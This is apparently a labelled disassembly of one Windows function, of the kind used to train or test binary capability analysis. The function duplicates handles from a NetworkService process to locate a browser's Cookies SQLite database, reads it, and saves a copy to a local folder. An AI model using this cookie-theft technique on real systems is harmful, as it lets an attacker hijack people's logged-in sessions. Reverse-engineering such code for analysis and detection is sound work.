Function at 0x4017d2
Capabilities:
Get common file path
Get file size
Read file on windows
Write file on windows

Disassembly:
push rbp
sub rsp, 0x280
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x210], ecx
mov dword [rbp + 0x1fc], 0x100
mov ecx, dword [rbp + 0x210]
call fcn.0040159a
test eax, eax
je 0x401b8f
mov edx, dword [rbp + 0x210]
lea rcx, str.Process_PID__d_is_the_NetworkService_aka_the_one_with_an_handle_to_the_cookie_n
call sub.msvcrt.dll_printf
mov r8d, dword [rbp + 0x210]
mov edx, 0
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x1f0], rax
cmp qword [rbp + 0x1f0], 0xffffffffffffffff
jne 0x401b6a
mov edx, dword [rbp + 0x210]
lea rcx, str.Failed_to_get_an_handle_on_process_PID__d_n
call sub.msvcrt.dll_printf
jmp 0x401b90
mov qword [rbp + 0x1c8], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov r8, rax
mov eax, dword [rbp + 0x1fc]
mov rcx, rax
lea rdx, [rbp + 0x1c8]
mov rax, qword [rbp + 0x1f0]
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0
mov r9, rdx
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DuplicateHandle]
call rax
test eax, eax
je 0x401b63
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
lea rdx, str.GetFinalPathNameByHandleA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e8], rax
lea rax, [rbp - 0x40]
mov r8d, 0x100
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rcx, qword [rbp + 0x1c8]
lea rax, [rbp - 0x40]
mov r10, qword [rbp + 0x1e8]
mov r9d, 0
mov r8d, 0x100
mov rdx, rax
call r10
lea rax, [rbp - 0x40]
lea rdx, str.Cookies
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x401b63
lea rax, [rbp - 0x40]
lea rdx, str.Cookies_journal
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x401b63
lea rax, [rbp - 0x40]
mov rdx, rax
lea rcx, str.Cookie_SQLite_db_found__s_n
call sub.msvcrt.dll_printf
mov rax, qword [rbp + 0x1c8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x1e4], eax
mov dword [rbp + 0x1c4], 0
mov eax, dword [rbp + 0x1e4]
mov rdx, rax
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
call rax
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1c8]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFilePointer]
call rax
mov eax, dword [rbp + 0x1e4]
mov edx, eax
lea rcx, str.Cookie_SQLite_db_file_size_is__d_n
call sub.msvcrt.dll_printf
mov rax, qword [rbp + 0x1c8]
lea rcx, [rbp + 0x1c4]
mov r8d, dword [rbp + 0x1e4]
mov rdx, qword [rbp + 0x1d8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
lea rax, [rbp - 0x40]
mov r8d, 0x100
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1c
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rdx, [rbp + 0xc0]
lea rax, [rbp - 0x40]
mov ecx, dword [rbp + 0x210]
mov dword [rsp + 0x20], ecx
mov r9, rdx
lea r8, str._s_d.db
mov edx, 0x100
mov rcx, rax
call fcn.00401550
lea rax, [rbp - 0x40]
mov rdx, rax
lea rcx, str.File_saved_as__s_n
call sub.msvcrt.dll_printf
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 3
mov edx, 0x10000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1d0], rax
lea rcx, [rbp + 0x1c4]
mov r8d, dword [rbp + 0x1e4]
mov rdx, qword [rbp + 0x1d8]
mov rax, qword [rbp + 0x1d0]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x1d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalFree]
call rax
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401b90
add dword [rbp + 0x1fc], 1
cmp dword [rbp + 0x1fc], 0xfff
jbe 0x40185d
mov rax, qword [rbp + 0x1f0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401b90
nop
add rsp, 0x280
pop rbp
ret